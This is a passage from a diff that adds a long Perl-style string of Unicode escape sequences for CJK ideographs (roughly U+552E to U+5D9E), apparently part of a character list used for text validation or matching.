+'\x{552E}\x{552F}\x{5530}\x{5531}\x{5532}\x{5533}\x{5534}\x{5535}\x{5536}' .
+'\x{5537}\x{5538}\x{5539}\x{553A}\x{553B}\x{553C}\x{553D}\x{553E}\x{553F}' .
+'\x{5540}\x{5541}\x{5542}\x{5543}\x{5544}\x{5545}\x{5546}\x{5548}\x{5549}' .
+'\x{554A}\x{554B}\x{554C}\x{554D}\x{554E}\x{554F}\x{5550}\x{5551}\x{5552}' .
+'\x{5553}\x{5554}\x{5555}\x{5556}\x{5557}\x{5558}\x{5559}\x{555A}\x{555B}' .
+'\x{555C}\x{555D}\x{555E}\x{555F}\x{5561}\x{5562}\x{5563}\x{5564}\x{5565}' .
+'\x{5566}\x{5567}\x{5568}\x{5569}\x{556A}\x{556B}\x{556C}\x{556D}\x{556E}' .
+'\x{556F}\x{5570}\x{5571}\x{5572}\x{5573}\x{5574}\x{5575}\x{5576}\x{5577}' .
+'\x{5578}\x{5579}\x{557B}\x{557C}\x{557D}\x{557E}\x{557F}\x{5580}\x{5581}' .
+'\x{5582}\x{5583}\x{5584}\x{5585}\x{5586}\x{5587}\x{5588}\x{5589}\x{558A}' .
+'\x{558B}\x{558C}\x{558D}\x{558E}\x{558F}\x{5590}\x{5591}\x{5592}\x{5593}' .
+'\x{5594}\x{5595}\x{5596}\x{5597}\x{5598}\x{5599}\x{559A}\x{559B}\x{559C}' .
+'\x{559D}\x{559E}\x{559F}\x{55A0}\x{55A1}\x{55A2}\x{55A3}\x{55A4}\x{55A5}' .
+'\x{55A6}\x{55A7}\x{55A8}\x{55A9}\x{55AA}\x{55AB}\x{55AC}\x{55AD}\x{55AE}' .
+'\x{55AF}\x{55B0}\x{55B1}\x{55B2}\x{55B3}\x{55B4}\x{55B5}\x{55B6}\x{55B7}' .
+'\x{55B8}\x{55B9}\x{55BA}\x{55BB}\x{55BC}\x{55BD}\x{55BE}\x{55BF}\x{55C0}' .
+'\x{55C1}\x{55C2}\x{55C3}\x{55C4}\x{55C5}\x{55C6}\x{55C7}\x{55C8}\x{55C9}' .
+'\x{55CA}\x{55CB}\x{55CC}\x{55CD}\x{55CE}\x{55CF}\x{55D0}\x{55D1}\x{55D2}' .
+'\x{55D3}\x{55D4}\x{55D5}\x{55D6}\x{55D7}\x{55D8}\x{55D9}\x{55DA}\x{55DB}' .
+'\x{55DC}\x{55DD}\x{55DE}\x{55DF}\x{55E1}\x{55E2}\x{55E3}\x{55E4}\x{55E5}' .
+'\x{55E6}\x{55E7}\x{55E8}\x{55E9}\x{55EA}\x{55EB}\x{55EC}\x{55ED}\x{55EE}' .
+'\x{55EF}\x{55F0}\x{55F1}\x{55F2}\x{55F3}\x{55F4}\x{55F5}\x{55F6}\x{55F7}' .
+'\x{55F9}\x{55FA}\x{55FB}\x{55FC}\x{55FD}\x{55FE}\x{55FF}\x{5600}\x{5601}' .
+'\x{5602}\x{5603}\x{5604}\x{5606}\x{5607}\x{5608}\x{5609}\x{560C}\x{560D}' .
+'\x{560E}\x{560F}\x{5610}\x{5611}\x{5612}\x{5613}\x{5614}\x{5615}\x{5616}' .
+'\x{5617}\x{5618}\x{5619}\x{561A}\x{561B}\x{561C}\x{561D}\x{561E}\x{561F}' .
+'\x{5621}\x{5622}\x{5623}\x{5624}\x{5625}\x{5626}\x{5627}\x{5628}\x{5629}' .
+'\x{562A}\x{562C}\x{562D}\x{562E}\x{562F}\x{5630}\x{5631}\x{5632}\x{5633}' .
+'\x{5634}\x{5635}\x{5636}\x{5638}\x{5639}\x{563A}\x{563B}\x{563D}\x{563E}' .
+'\x{563F}\x{5640}\x{5641}\x{5642}\x{5643}\x{5645}\x{5646}\x{5647}\x{5648}' .
+'\x{5649}\x{564A}\x{564C}\x{564D}\x{564E}\x{564F}\x{5650}\x{5652}\x{5653}' .
+'\x{5654}\x{5655}\x{5657}\x{5658}\x{5659}\x{565A}\x{565B}\x{565C}\x{565D}' .
+'\x{565E}\x{5660}\x{5662}\x{5663}\x{5664}\x{5665}\x{5666}\x{5667}\x{5668}' .
+'\x{5669}\x{566A}\x{566B}\x{566C}\x{566D}\x{566E}\x{566F}\x{5670}\x{5671}' .
+'\x{5672}\x{5673}\x{5674}\x{5676}\x{5677}\x{5678}\x{5679}\x{567A}\x{567B}' .
+'\x{567C}\x{567E}\x{567F}\x{5680}\x{5681}\x{5682}\x{5683}\x{5684}\x{5685}' .
+'\x{5686}\x{5687}\x{568A}\x{568C}\x{568D}\x{568E}\x{568F}\x{5690}\x{5691}' .
+'\x{5692}\x{5693}\x{5694}\x{5695}\x{5697}\x{5698}\x{5699}\x{569A}\x{569B}' .
+'\x{569C}\x{569D}\x{569F}\x{56A0}\x{56A1}\x{56A3}\x{56A4}\x{56A5}\x{56A6}' .
+'\x{56A7}\x{56A8}\x{56A9}\x{56AA}\x{56AB}\x{56AC}\x{56AD}\x{56AE}\x{56AF}' .
+'\x{56B0}\x{56B1}\x{56B2}\x{56B3}\x{56B4}\x{56B5}\x{56B6}\x{56B7}\x{56B8}' .
+'\x{56B9}\x{56BB}\x{56BC}\x{56BD}\x{56BE}\x{56BF}\x{56C0}\x{56C1}\x{56C2}' .
+'\x{56C3}\x{56C4}\x{56C5}\x{56C6}\x{56C7}\x{56C8}\x{56C9}\x{56CA}\x{56CB}' .
+'\x{56CC}\x{56CD}\x{56CE}\x{56D0}\x{56D1}\x{56D2}\x{56D3}\x{56D4}\x{56D5}' .
+'\x{56D6}\x{56D7}\x{56D8}\x{56DA}\x{56DB}\x{56DC}\x{56DD}\x{56DE}\x{56DF}' .
+'\x{56E0}\x{56E1}\x{56E2}\x{56E3}\x{56E4}\x{56E5}\x{56E7}\x{56E8}\x{56E9}' .
+'\x{56EA}\x{56EB}\x{56EC}\x{56ED}\x{56EE}\x{56EF}\x{56F0}\x{56F1}\x{56F2}' .
+'\x{56F3}\x{56F4}\x{56F5}\x{56F7}\x{56F9}\x{56FA}\x{56FD}\x{56FE}\x{56FF}' .
+'\x{5700}\x{5701}\x{5702}\x{5703}\x{5704}\x{5706}\x{5707}\x{5708}\x{5709}' .
+'\x{570A}\x{570B}\x{570C}\x{570D}\x{570E}\x{570F}\x{5710}\x{5712}\x{5713}' .
+'\x{5714}\x{5715}\x{5716}\x{5718}\x{5719}\x{571A}\x{571B}\x{571C}\x{571D}' .
+'\x{571E}\x{571F}\x{5720}\x{5722}\x{5723}\x{5725}\x{5726}\x{5727}\x{5728}' .
+'\x{5729}\x{572A}\x{572B}\x{572C}\x{572D}\x{572E}\x{572F}\x{5730}\x{5731}' .
+'\x{5732}\x{5733}\x{5734}\x{5735}\x{5736}\x{5737}\x{5738}\x{5739}\x{573A}' .
+'\x{573B}\x{573C}\x{573E}\x{573F}\x{5740}\x{5741}\x{5742}\x{5744}\x{5745}' .
+'\x{5746}\x{5747}\x{5749}\x{574A}\x{574B}\x{574C}\x{574D}\x{574E}\x{574F}' .
+'\x{5750}\x{5751}\x{5752}\x{5753}\x{5754}\x{5757}\x{5759}\x{575A}\x{575B}' .
+'\x{575C}\x{575D}\x{575E}\x{575F}\x{5760}\x{5761}\x{5762}\x{5764}\x{5765}' .
+'\x{5766}\x{5767}\x{5768}\x{5769}\x{576A}\x{576B}\x{576C}\x{576D}\x{576F}' .
+'\x{5770}\x{5771}\x{5772}\x{5773}\x{5774}\x{5775}\x{5776}\x{5777}\x{5779}' .
+'\x{577A}\x{577B}\x{577C}\x{577D}\x{577E}\x{577F}\x{5780}\x{5782}\x{5783}' .
+'\x{5784}\x{5785}\x{5786}\x{5788}\x{5789}\x{578A}\x{578B}\x{578C}\x{578D}' .
+'\x{578E}\x{578F}\x{5790}\x{5791}\x{5792}\x{5793}\x{5794}\x{5795}\x{5797}' .
+'\x{5798}\x{5799}\x{579A}\x{579B}\x{579C}\x{579D}\x{579E}\x{579F}\x{57A0}' .
+'\x{57A1}\x{57A2}\x{57A3}\x{57A4}\x{57A5}\x{57A6}\x{57A7}\x{57A9}\x{57AA}' .
+'\x{57AB}\x{57AC}\x{57AD}\x{57AE}\x{57AF}\x{57B0}\x{57B1}\x{57B2}\x{57B3}' .
+'\x{57B4}\x{57B5}\x{57B6}\x{57B7}\x{57B8}\x{57B9}\x{57BA}\x{57BB}\x{57BC}' .
+'\x{57BD}\x{57BE}\x{57BF}\x{57C0}\x{57C1}\x{57C2}\x{57C3}\x{57C4}\x{57C5}' .
+'\x{57C6}\x{57C7}\x{57C8}\x{57C9}\x{57CB}\x{57CC}\x{57CD}\x{57CE}\x{57CF}' .
+'\x{57D0}\x{57D2}\x{57D3}\x{57D4}\x{57D5}\x{57D6}\x{57D8}\x{57D9}\x{57DA}' .
+'\x{57DC}\x{57DD}\x{57DF}\x{57E0}\x{57E1}\x{57E2}\x{57E3}\x{57E4}\x{57E5}' .
+'\x{57E6}\x{57E7}\x{57E8}\x{57E9}\x{57EA}\x{57EB}\x{57EC}\x{57ED}\x{57EE}' .
+'\x{57EF}\x{57F0}\x{57F1}\x{57F2}\x{57F3}\x{57F4}\x{57F5}\x{57F6}\x{57F7}' .
+'\x{57F8}\x{57F9}\x{57FA}\x{57FB}\x{57FC}\x{57FD}\x{57FE}\x{57FF}\x{5800}' .
+'\x{5801}\x{5802}\x{5803}\x{5804}\x{5805}\x{5806}\x{5807}\x{5808}\x{5809}' .
+'\x{580A}\x{580B}\x{580C}\x{580D}\x{580E}\x{580F}\x{5810}\x{5811}\x{5812}' .
+'\x{5813}\x{5814}\x{5815}\x{5816}\x{5819}\x{581A}\x{581B}\x{581C}\x{581D}' .
+'\x{581E}\x{581F}\x{5820}\x{5821}\x{5822}\x{5823}\x{5824}\x{5825}\x{5826}' .
+'\x{5827}\x{5828}\x{5829}\x{582A}\x{582B}\x{582C}\x{582D}\x{582E}\x{582F}' .
+'\x{5830}\x{5831}\x{5832}\x{5833}\x{5834}\x{5835}\x{5836}\x{5837}\x{5838}' .
+'\x{5839}\x{583A}\x{583B}\x{583C}\x{583D}\x{583E}\x{583F}\x{5840}\x{5842}' .
+'\x{5843}\x{5844}\x{5845}\x{5846}\x{5847}\x{5848}\x{5849}\x{584A}\x{584B}' .
+'\x{584C}\x{584D}\x{584E}\x{584F}\x{5851}\x{5852}\x{5853}\x{5854}\x{5855}' .
+'\x{5857}\x{5858}\x{5859}\x{585A}\x{585B}\x{585C}\x{585D}\x{585E}\x{585F}' .
+'\x{5861}\x{5862}\x{5863}\x{5864}\x{5865}\x{5868}\x{5869}\x{586A}\x{586B}' .
+'\x{586C}\x{586D}\x{586E}\x{586F}\x{5870}\x{5871}\x{5872}\x{5873}\x{5874}' .
+'\x{5875}\x{5876}\x{5878}\x{5879}\x{587A}\x{587B}\x{587C}\x{587D}\x{587E}' .
+'\x{587F}\x{5880}\x{5881}\x{5882}\x{5883}\x{5884}\x{5885}\x{5886}\x{5887}' .
+'\x{5888}\x{5889}\x{588A}\x{588B}\x{588C}\x{588D}\x{588E}\x{588F}\x{5890}' .
+'\x{5891}\x{5892}\x{5893}\x{5894}\x{5896}\x{5897}\x{5898}\x{5899}\x{589A}' .
+'\x{589B}\x{589C}\x{589D}\x{589E}\x{589F}\x{58A0}\x{58A1}\x{58A2}\x{58A3}' .
+'\x{58A4}\x{58A5}\x{58A6}\x{58A7}\x{58A8}\x{58A9}\x{58AB}\x{58AC}\x{58AD}' .
+'\x{58AE}\x{58AF}\x{58B0}\x{58B1}\x{58B2}\x{58B3}\x{58B4}\x{58B7}\x{58B8}' .
+'\x{58B9}\x{58BA}\x{58BB}\x{58BC}\x{58BD}\x{58BE}\x{58BF}\x{58C1}\x{58C2}' .
+'\x{58C5}\x{58C6}\x{58C7}\x{58C8}\x{58C9}\x{58CA}\x{58CB}\x{58CE}\x{58CF}' .
+'\x{58D1}\x{58D2}\x{58D3}\x{58D4}\x{58D5}\x{58D6}\x{58D7}\x{58D8}\x{58D9}' .
+'\x{58DA}\x{58DB}\x{58DD}\x{58DE}\x{58DF}\x{58E0}\x{58E2}\x{58E3}\x{58E4}' .
+'\x{58E5}\x{58E7}\x{58E8}\x{58E9}\x{58EA}\x{58EB}\x{58EC}\x{58ED}\x{58EE}' .
+'\x{58EF}\x{58F0}\x{58F1}\x{58F2}\x{58F3}\x{58F4}\x{58F6}\x{58F7}\x{58F8}' .
+'\x{58F9}\x{58FA}\x{58FB}\x{58FC}\x{58FD}\x{58FE}\x{58FF}\x{5900}\x{5902}' .
+'\x{5903}\x{5904}\x{5906}\x{5907}\x{5909}\x{590A}\x{590B}\x{590C}\x{590D}' .
+'\x{590E}\x{590F}\x{5910}\x{5912}\x{5914}\x{5915}\x{5916}\x{5917}\x{5918}' .
+'\x{5919}\x{591A}\x{591B}\x{591C}\x{591D}\x{591E}\x{591F}\x{5920}\x{5921}' .
+'\x{5922}\x{5924}\x{5925}\x{5926}\x{5927}\x{5928}\x{5929}\x{592A}\x{592B}' .
+'\x{592C}\x{592D}\x{592E}\x{592F}\x{5930}\x{5931}\x{5932}\x{5934}\x{5935}' .
+'\x{5937}\x{5938}\x{5939}\x{593A}\x{593B}\x{593C}\x{593D}\x{593E}\x{593F}' .
+'\x{5940}\x{5941}\x{5942}\x{5943}\x{5944}\x{5945}\x{5946}\x{5947}\x{5948}' .
+'\x{5949}\x{594A}\x{594B}\x{594C}\x{594D}\x{594E}\x{594F}\x{5950}\x{5951}' .
+'\x{5952}\x{5953}\x{5954}\x{5955}\x{5956}\x{5957}\x{5958}\x{595A}\x{595C}' .
+'\x{595D}\x{595E}\x{595F}\x{5960}\x{5961}\x{5962}\x{5963}\x{5964}\x{5965}' .
+'\x{5966}\x{5967}\x{5968}\x{5969}\x{596A}\x{596B}\x{596C}\x{596D}\x{596E}' .
+'\x{596F}\x{5970}\x{5971}\x{5972}\x{5973}\x{5974}\x{5975}\x{5976}\x{5977}' .
+'\x{5978}\x{5979}\x{597A}\x{597B}\x{597C}\x{597D}\x{597E}\x{597F}\x{5980}' .
+'\x{5981}\x{5982}\x{5983}\x{5984}\x{5985}\x{5986}\x{5987}\x{5988}\x{5989}' .
+'\x{598A}\x{598B}\x{598C}\x{598D}\x{598E}\x{598F}\x{5990}\x{5991}\x{5992}' .
+'\x{5993}\x{5994}\x{5995}\x{5996}\x{5997}\x{5998}\x{5999}\x{599A}\x{599C}' .
+'\x{599D}\x{599E}\x{599F}\x{59A0}\x{59A1}\x{59A2}\x{59A3}\x{59A4}\x{59A5}' .
+'\x{59A6}\x{59A7}\x{59A8}\x{59A9}\x{59AA}\x{59AB}\x{59AC}\x{59AD}\x{59AE}' .
+'\x{59AF}\x{59B0}\x{59B1}\x{59B2}\x{59B3}\x{59B4}\x{59B5}\x{59B6}\x{59B8}' .
+'\x{59B9}\x{59BA}\x{59BB}\x{59BC}\x{59BD}\x{59BE}\x{59BF}\x{59C0}\x{59C1}' .
+'\x{59C2}\x{59C3}\x{59C4}\x{59C5}\x{59C6}\x{59C7}\x{59C8}\x{59C9}\x{59CA}' .
+'\x{59CB}\x{59CC}\x{59CD}\x{59CE}\x{59CF}\x{59D0}\x{59D1}\x{59D2}\x{59D3}' .
+'\x{59D4}\x{59D5}\x{59D6}\x{59D7}\x{59D8}\x{59D9}\x{59DA}\x{59DB}\x{59DC}' .
+'\x{59DD}\x{59DE}\x{59DF}\x{59E0}\x{59E1}\x{59E2}\x{59E3}\x{59E4}\x{59E5}' .
+'\x{59E6}\x{59E8}\x{59E9}\x{59EA}\x{59EB}\x{59EC}\x{59ED}\x{59EE}\x{59EF}' .
+'\x{59F0}\x{59F1}\x{59F2}\x{59F3}\x{59F4}\x{59F5}\x{59F6}\x{59F7}\x{59F8}' .
+'\x{59F9}\x{59FA}\x{59FB}\x{59FC}\x{59FD}\x{59FE}\x{59FF}\x{5A00}\x{5A01}' .
+'\x{5A02}\x{5A03}\x{5A04}\x{5A05}\x{5A06}\x{5A07}\x{5A08}\x{5A09}\x{5A0A}' .
+'\x{5A0B}\x{5A0C}\x{5A0D}\x{5A0E}\x{5A0F}\x{5A10}\x{5A11}\x{5A12}\x{5A13}' .
+'\x{5A14}\x{5A15}\x{5A16}\x{5A17}\x{5A18}\x{5A19}\x{5A1A}\x{5A1B}\x{5A1C}' .
+'\x{5A1D}\x{5A1E}\x{5A1F}\x{5A20}\x{5A21}\x{5A22}\x{5A23}\x{5A25}\x{5A27}' .
+'\x{5A28}\x{5A29}\x{5A2A}\x{5A2B}\x{5A2D}\x{5A2E}\x{5A2F}\x{5A31}\x{5A32}' .
+'\x{5A33}\x{5A34}\x{5A35}\x{5A36}\x{5A37}\x{5A38}\x{5A39}\x{5A3A}\x{5A3B}' .
+'\x{5A3C}\x{5A3D}\x{5A3E}\x{5A3F}\x{5A40}\x{5A41}\x{5A42}\x{5A43}\x{5A44}' .
+'\x{5A45}\x{5A46}\x{5A47}\x{5A48}\x{5A49}\x{5A4A}\x{5A4B}\x{5A4C}\x{5A4D}' .
+'\x{5A4E}\x{5A4F}\x{5A50}\x{5A51}\x{5A52}\x{5A53}\x{5A55}\x{5A56}\x{5A57}' .
+'\x{5A58}\x{5A5A}\x{5A5B}\x{5A5C}\x{5A5D}\x{5A5E}\x{5A5F}\x{5A60}\x{5A61}' .
+'\x{5A62}\x{5A63}\x{5A64}\x{5A65}\x{5A66}\x{5A67}\x{5A68}\x{5A69}\x{5A6A}' .
+'\x{5A6B}\x{5A6C}\x{5A6D}\x{5A6E}\x{5A70}\x{5A72}\x{5A73}\x{5A74}\x{5A75}' .
+'\x{5A76}\x{5A77}\x{5A78}\x{5A79}\x{5A7A}\x{5A7B}\x{5A7C}\x{5A7D}\x{5A7E}' .
+'\x{5A7F}\x{5A80}\x{5A81}\x{5A82}\x{5A83}\x{5A84}\x{5A85}\x{5A86}\x{5A88}' .
+'\x{5A89}\x{5A8A}\x{5A8B}\x{5A8C}\x{5A8E}\x{5A8F}\x{5A90}\x{5A91}\x{5A92}' .
+'\x{5A93}\x{5A94}\x{5A95}\x{5A96}\x{5A97}\x{5A98}\x{5A99}\x{5A9A}\x{5A9B}' .
+'\x{5A9C}\x{5A9D}\x{5A9E}\x{5A9F}\x{5AA0}\x{5AA1}\x{5AA2}\x{5AA3}\x{5AA4}' .
+'\x{5AA5}\x{5AA6}\x{5AA7}\x{5AA8}\x{5AA9}\x{5AAA}\x{5AAC}\x{5AAD}\x{5AAE}' .
+'\x{5AAF}\x{5AB0}\x{5AB1}\x{5AB2}\x{5AB3}\x{5AB4}\x{5AB5}\x{5AB6}\x{5AB7}' .
+'\x{5AB8}\x{5AB9}\x{5ABA}\x{5ABB}\x{5ABC}\x{5ABD}\x{5ABE}\x{5ABF}\x{5AC0}' .
+'\x{5AC1}\x{5AC2}\x{5AC3}\x{5AC4}\x{5AC5}\x{5AC6}\x{5AC7}\x{5AC8}\x{5AC9}' .
+'\x{5ACA}\x{5ACB}\x{5ACC}\x{5ACD}\x{5ACE}\x{5ACF}\x{5AD1}\x{5AD2}\x{5AD4}' .
+'\x{5AD5}\x{5AD6}\x{5AD7}\x{5AD8}\x{5AD9}\x{5ADA}\x{5ADB}\x{5ADC}\x{5ADD}' .
+'\x{5ADE}\x{5ADF}\x{5AE0}\x{5AE1}\x{5AE2}\x{5AE3}\x{5AE4}\x{5AE5}\x{5AE6}' .
+'\x{5AE7}\x{5AE8}\x{5AE9}\x{5AEA}\x{5AEB}\x{5AEC}\x{5AED}\x{5AEE}\x{5AF1}' .
+'\x{5AF2}\x{5AF3}\x{5AF4}\x{5AF5}\x{5AF6}\x{5AF7}\x{5AF8}\x{5AF9}\x{5AFA}' .
+'\x{5AFB}\x{5AFC}\x{5AFD}\x{5AFE}\x{5AFF}\x{5B00}\x{5B01}\x{5B02}\x{5B03}' .
+'\x{5B04}\x{5B05}\x{5B06}\x{5B07}\x{5B08}\x{5B09}\x{5B0B}\x{5B0C}\x{5B0E}' .
+'\x{5B0F}\x{5B10}\x{5B11}\x{5B12}\x{5B13}\x{5B14}\x{5B15}\x{5B16}\x{5B17}' .
+'\x{5B18}\x{5B19}\x{5B1A}\x{5B1B}\x{5B1C}\x{5B1D}\x{5B1E}\x{5B1F}\x{5B20}' .
+'\x{5B21}\x{5B22}\x{5B23}\x{5B24}\x{5B25}\x{5B26}\x{5B27}\x{5B28}\x{5B29}' .
+'\x{5B2A}\x{5B2B}\x{5B2C}\x{5B2D}\x{5B2E}\x{5B2F}\x{5B30}\x{5B31}\x{5B32}' .
+'\x{5B33}\x{5B34}\x{5B35}\x{5B36}\x{5B37}\x{5B38}\x{5B3A}\x{5B3B}\x{5B3C}' .
+'\x{5B3D}\x{5B3E}\x{5B3F}\x{5B40}\x{5B41}\x{5B42}\x{5B43}\x{5B44}\x{5B45}' .
+'\x{5B47}\x{5B48}\x{5B49}\x{5B4A}\x{5B4B}\x{5B4C}\x{5B4D}\x{5B4E}\x{5B50}' .
+'\x{5B51}\x{5B53}\x{5B54}\x{5B55}\x{5B56}\x{5B57}\x{5B58}\x{5B59}\x{5B5A}' .
+'\x{5B5B}\x{5B5C}\x{5B5D}\x{5B5E}\x{5B5F}\x{5B62}\x{5B63}\x{5B64}\x{5B65}' .
+'\x{5B66}\x{5B67}\x{5B68}\x{5B69}\x{5B6A}\x{5B6B}\x{5B6C}\x{5B6D}\x{5B6E}' .
+'\x{5B70}\x{5B71}\x{5B72}\x{5B73}\x{5B74}\x{5B75}\x{5B76}\x{5B77}\x{5B78}' .
+'\x{5B7A}\x{5B7B}\x{5B7C}\x{5B7D}\x{5B7F}\x{5B80}\x{5B81}\x{5B82}\x{5B83}' .
+'\x{5B84}\x{5B85}\x{5B87}\x{5B88}\x{5B89}\x{5B8A}\x{5B8B}\x{5B8C}\x{5B8D}' .
+'\x{5B8E}\x{5B8F}\x{5B91}\x{5B92}\x{5B93}\x{5B94}\x{5B95}\x{5B96}\x{5B97}' .
+'\x{5B98}\x{5B99}\x{5B9A}\x{5B9B}\x{5B9C}\x{5B9D}\x{5B9E}\x{5B9F}\x{5BA0}' .
+'\x{5BA1}\x{5BA2}\x{5BA3}\x{5BA4}\x{5BA5}\x{5BA6}\x{5BA7}\x{5BA8}\x{5BAA}' .
+'\x{5BAB}\x{5BAC}\x{5BAD}\x{5BAE}\x{5BAF}\x{5BB0}\x{5BB1}\x{5BB3}\x{5BB4}' .
+'\x{5BB5}\x{5BB6}\x{5BB8}\x{5BB9}\x{5BBA}\x{5BBB}\x{5BBD}\x{5BBE}\x{5BBF}' .
+'\x{5BC0}\x{5BC1}\x{5BC2}\x{5BC3}\x{5BC4}\x{5BC5}\x{5BC6}\x{5BC7}\x{5BCA}' .
+'\x{5BCB}\x{5BCC}\x{5BCD}\x{5BCE}\x{5BCF}\x{5BD0}\x{5BD1}\x{5BD2}\x{5BD3}' .
+'\x{5BD4}\x{5BD5}\x{5BD6}\x{5BD8}\x{5BD9}\x{5BDB}\x{5BDC}\x{5BDD}\x{5BDE}' .
+'\x{5BDF}\x{5BE0}\x{5BE1}\x{5BE2}\x{5BE3}\x{5BE4}\x{5BE5}\x{5BE6}\x{5BE7}' .
+'\x{5BE8}\x{5BE9}\x{5BEA}\x{5BEB}\x{5BEC}\x{5BED}\x{5BEE}\x{5BEF}\x{5BF0}' .
+'\x{5BF1}\x{5BF2}\x{5BF3}\x{5BF4}\x{5BF5}\x{5BF6}\x{5BF7}\x{5BF8}\x{5BF9}' .
+'\x{5BFA}\x{5BFB}\x{5BFC}\x{5BFD}\x{5BFF}\x{5C01}\x{5C03}\x{5C04}\x{5C05}' .
+'\x{5C06}\x{5C07}\x{5C08}\x{5C09}\x{5C0A}\x{5C0B}\x{5C0C}\x{5C0D}\x{5C0E}' .
+'\x{5C0F}\x{5C10}\x{5C11}\x{5C12}\x{5C13}\x{5C14}\x{5C15}\x{5C16}\x{5C17}' .
+'\x{5C18}\x{5C19}\x{5C1A}\x{5C1C}\x{5C1D}\x{5C1E}\x{5C1F}\x{5C20}\x{5C21}' .
+'\x{5C22}\x{5C24}\x{5C25}\x{5C27}\x{5C28}\x{5C2A}\x{5C2B}\x{5C2C}\x{5C2D}' .
+'\x{5C2E}\x{5C2F}\x{5C30}\x{5C31}\x{5C32}\x{5C33}\x{5C34}\x{5C35}\x{5C37}' .
+'\x{5C38}\x{5C39}\x{5C3A}\x{5C3B}\x{5C3C}\x{5C3D}\x{5C3E}\x{5C3F}\x{5C40}' .
+'\x{5C41}\x{5C42}\x{5C43}\x{5C44}\x{5C45}\x{5C46}\x{5C47}\x{5C48}\x{5C49}' .
+'\x{5C4A}\x{5C4B}\x{5C4C}\x{5C4D}\x{5C4E}\x{5C4F}\x{5C50}\x{5C51}\x{5C52}' .
+'\x{5C53}\x{5C54}\x{5C55}\x{5C56}\x{5C57}\x{5C58}\x{5C59}\x{5C5B}\x{5C5C}' .
+'\x{5C5D}\x{5C5E}\x{5C5F}\x{5C60}\x{5C61}\x{5C62}\x{5C63}\x{5C64}\x{5C65}' .
+'\x{5C66}\x{5C67}\x{5C68}\x{5C69}\x{5C6A}\x{5C6B}\x{5C6C}\x{5C6D}\x{5C6E}' .
+'\x{5C6F}\x{5C70}\x{5C71}\x{5C72}\x{5C73}\x{5C74}\x{5C75}\x{5C76}\x{5C77}' .
+'\x{5C78}\x{5C79}\x{5C7A}\x{5C7B}\x{5C7C}\x{5C7D}\x{5C7E}\x{5C7F}\x{5C80}' .
+'\x{5C81}\x{5C82}\x{5C83}\x{5C84}\x{5C86}\x{5C87}\x{5C88}\x{5C89}\x{5C8A}' .
+'\x{5C8B}\x{5C8C}\x{5C8D}\x{5C8E}\x{5C8F}\x{5C90}\x{5C91}\x{5C92}\x{5C93}' .
+'\x{5C94}\x{5C95}\x{5C96}\x{5C97}\x{5C98}\x{5C99}\x{5C9A}\x{5C9B}\x{5C9C}' .
+'\x{5C9D}\x{5C9E}\x{5C9F}\x{5CA0}\x{5CA1}\x{5CA2}\x{5CA3}\x{5CA4}\x{5CA5}' .
+'\x{5CA6}\x{5CA7}\x{5CA8}\x{5CA9}\x{5CAA}\x{5CAB}\x{5CAC}\x{5CAD}\x{5CAE}' .
+'\x{5CAF}\x{5CB0}\x{5CB1}\x{5CB2}\x{5CB3}\x{5CB5}\x{5CB6}\x{5CB7}\x{5CB8}' .
+'\x{5CBA}\x{5CBB}\x{5CBC}\x{5CBD}\x{5CBE}\x{5CBF}\x{5CC1}\x{5CC2}\x{5CC3}' .
+'\x{5CC4}\x{5CC5}\x{5CC6}\x{5CC7}\x{5CC8}\x{5CC9}\x{5CCA}\x{5CCB}\x{5CCC}' .
+'\x{5CCD}\x{5CCE}\x{5CCF}\x{5CD0}\x{5CD1}\x{5CD2}\x{5CD3}\x{5CD4}\x{5CD6}' .
+'\x{5CD7}\x{5CD8}\x{5CD9}\x{5CDA}\x{5CDB}\x{5CDC}\x{5CDE}\x{5CDF}\x{5CE0}' .
+'\x{5CE1}\x{5CE2}\x{5CE3}\x{5CE4}\x{5CE5}\x{5CE6}\x{5CE7}\x{5CE8}\x{5CE9}' .
+'\x{5CEA}\x{5CEB}\x{5CEC}\x{5CED}\x{5CEE}\x{5CEF}\x{5CF0}\x{5CF1}\x{5CF2}' .
+'\x{5CF3}\x{5CF4}\x{5CF6}\x{5CF7}\x{5CF8}\x{5CF9}\x{5CFA}\x{5CFB}\x{5CFC}' .
+'\x{5CFD}\x{5CFE}\x{5CFF}\x{5D00}\x{5D01}\x{5D02}\x{5D03}\x{5D04}\x{5D05}' .
+'\x{5D06}\x{5D07}\x{5D08}\x{5D09}\x{5D0A}\x{5D0B}\x{5D0C}\x{5D0D}\x{5D0E}' .
+'\x{5D0F}\x{5D10}\x{5D11}\x{5D12}\x{5D13}\x{5D14}\x{5D15}\x{5D16}\x{5D17}' .
+'\x{5D18}\x{5D19}\x{5D1A}\x{5D1B}\x{5D1C}\x{5D1D}\x{5D1E}\x{5D1F}\x{5D20}' .
+'\x{5D21}\x{5D22}\x{5D23}\x{5D24}\x{5D25}\x{5D26}\x{5D27}\x{5D28}\x{5D29}' .
+'\x{5D2A}\x{5D2C}\x{5D2D}\x{5D2E}\x{5D30}\x{5D31}\x{5D32}\x{5D33}\x{5D34}' .
+'\x{5D35}\x{5D36}\x{5D37}\x{5D38}\x{5D39}\x{5D3A}\x{5D3C}\x{5D3D}\x{5D3E}' .
+'\x{5D3F}\x{5D40}\x{5D41}\x{5D42}\x{5D43}\x{5D44}\x{5D45}\x{5D46}\x{5D47}' .
+'\x{5D48}\x{5D49}\x{5D4A}\x{5D4B}\x{5D4C}\x{5D4D}\x{5D4E}\x{5D4F}\x{5D50}' .
+'\x{5D51}\x{5D52}\x{5D54}\x{5D55}\x{5D56}\x{5D58}\x{5D59}\x{5D5A}\x{5D5B}' .
+'\x{5D5D}\x{5D5E}\x{5D5F}\x{5D61}\x{5D62}\x{5D63}\x{5D64}\x{5D65}\x{5D66}' .
+'\x{5D67}\x{5D68}\x{5D69}\x{5D6A}\x{5D6B}\x{5D6C}\x{5D6D}\x{5D6E}\x{5D6F}' .
+'\x{5D70}\x{5D71}\x{5D72}\x{5D73}\x{5D74}\x{5D75}\x{5D76}\x{5D77}\x{5D78}' .
+'\x{5D79}\x{5D7A}\x{5D7B}\x{5D7C}\x{5D7D}\x{5D7E}\x{5D7F}\x{5D80}\x{5D81}' .
+'\x{5D82}\x{5D84}\x{5D85}\x{5D86}\x{5D87}\x{5D88}\x{5D89}\x{5D8A}\x{5D8B}' .
+'\x{5D8C}\x{5D8D}\x{5D8E}\x{5D8F}\x{5D90}\x{5D91}\x{5D92}\x{5D93}\x{5D94}' .
+'\x{5D95}\x{5D97}\x{5D98}\x{5D99}\x{5D9A}\x{5D9B}\x{5D9C}\x{5D9D}\x{5D9E}' .
